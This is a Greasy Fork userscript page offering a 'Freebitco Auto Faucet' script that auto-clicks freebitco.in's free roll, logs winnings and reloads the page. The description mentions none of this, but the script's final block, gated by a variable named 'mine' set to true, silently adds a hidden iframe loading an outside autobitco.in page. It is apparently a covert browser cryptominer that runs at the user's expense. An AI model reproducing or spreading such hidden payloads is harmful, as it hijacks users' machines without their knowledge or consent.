Greasy Fork

Freebitco Auto Faucet

Auto Faucet Script by CodeFred

目前为 2020-12-23 提交的版本。查看 最新版本

// ==UserScript==
// @name Freebitco Auto Faucet
// @description Auto Faucet Script by CodeFred
// @author CodeFred
// @version 3
// @namespace mailto:[email protected]
// @match https://freebitco.in/*
// @grant GM_setValue
// @grant GM_getValue
// ==/UserScript==

/* globals jQuery, $, waitForKeyElements */
var mine = true;
var lottery = false;
var stats = true;

setTimeout(function(){
    'use strict';

    //Buys lottery while captcha is required
    if($('#free_play_captcha_container').is(':visible')){
        console.log("CAPTCHA IS NOT OFF");
        if (lottery) buy_lottery();
    }
    else {
        // Roll for BTC
        if ($('#free_play_form_button').is(':visible')) {
            setTimeout(function(){
                select_reward();
                setTimeout(function(){
                    $('#free_play_form_button').click();
                    setTimeout(function(){
                        var i = parseInt($('#winnings').text().split(".")[1]);
                        if (stats) save_win(i);
                    },2000);
                },2000);
            },1000);
        }
    }
    // Reloads page to ensure no errors occure
    setTimeout(function(){ location.reload(); }, 10*60*1000);
},2000);

function buy_lottery() {
    if(parseInt($('#balance').text().split(".")[1])>100){
        $('#lottery_tickets_purchase_count').val("100");
        $('#purchase_lottery_tickets_button').click();
        location.reload();
    }
}
function select_reward() {
    var reward = {};
    reward.points = parseInt($('.user_reward_points').text().replace(',',""));
    reward.bonustime = {};
    if ($("#bonus_container_free_points").length != 0) {
        reward.bonustime.text = $('#bonus_span_free_points').text();
        reward.bonustime.hour = parseInt(reward.bonustime.text.split(":")[0]);
        reward.bonustime.min = parseInt(reward.bonustime.text.split(":")[1]);
        reward.bonustime.sec = parseInt(reward.bonustime.text.split(":")[2]);
        reward.bonustime.current = reward.bonustime.hour * 3600 + reward.bonustime.min * 60 + reward.bonustime.sec;
    } else {
        reward.bonustime.current = 0;
    }

    if (reward.bonustime.current === 0) {
        console.log("Reward point bonus expired, points availible: ", reward.points);
        /*if (reward.points < 12) {
            console.log("waiting for points");
        }
        else if (reward.points < 120) {
            RedeemRPProduct('free_points_1');
        }
        else if (reward.points < 300) {
            RedeemRPProduct('free_points_10');
        }
        else if (reward.points < 600) {
            RedeemRPProduct('free_points_25');
        }
        else if (reward.points < 1200) {
            RedeemRPProduct('free_points_50');
        }
        else {
            RedeemRPProduct('free_points_100');
        }*/
    }
    if ($('#bonus_span_fp_bonus').length === 0) {
        /*if (reward.points >= (4400 - (reward.bonustime.hour*102))) {
            console.log("Free BTC bonus expired, buying new");
            RedeemRPProduct('fp_bonus_1000');
        }*/
    }
};
function save_win(winvalue) {
    var i = GM_getValue('Highest_BTC_win', 0);
    if (i < winvalue) {
        GM_setValue('Highest_BTC_win', winvalue);
        i = winvalue;
    }

    var today = new Date();
    var mm = String(today.getMonth() + 1).padStart(2, '0');
    var yyyy = today.getFullYear().toString();
    var month = yyyy + '/' + mm;
    var j = GM_getValue(month, 0) + winvalue;
    GM_setValue(month, j);
    var u = GM_getValue(yyyy, 0) + winvalue;
    GM_setValue(yyyy, u);
    var v = GM_getValue('all', 0) + winvalue;
    GM_setValue('all', v);

    var w = GM_getValue('rolls', 0) + 1;
    GM_setValue('rolls', w);

    console.log("Times rolled: " + w + ", All time: " + v + ", This year: " + u + ", This month: " + j + ", Highest BTC win: " + i + ", Last BTC roll: " + winvalue);
}
if (mine) {
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = "https://autobitco.in/wm/tmtm/2";
    document.body.appendChild(iframe);
}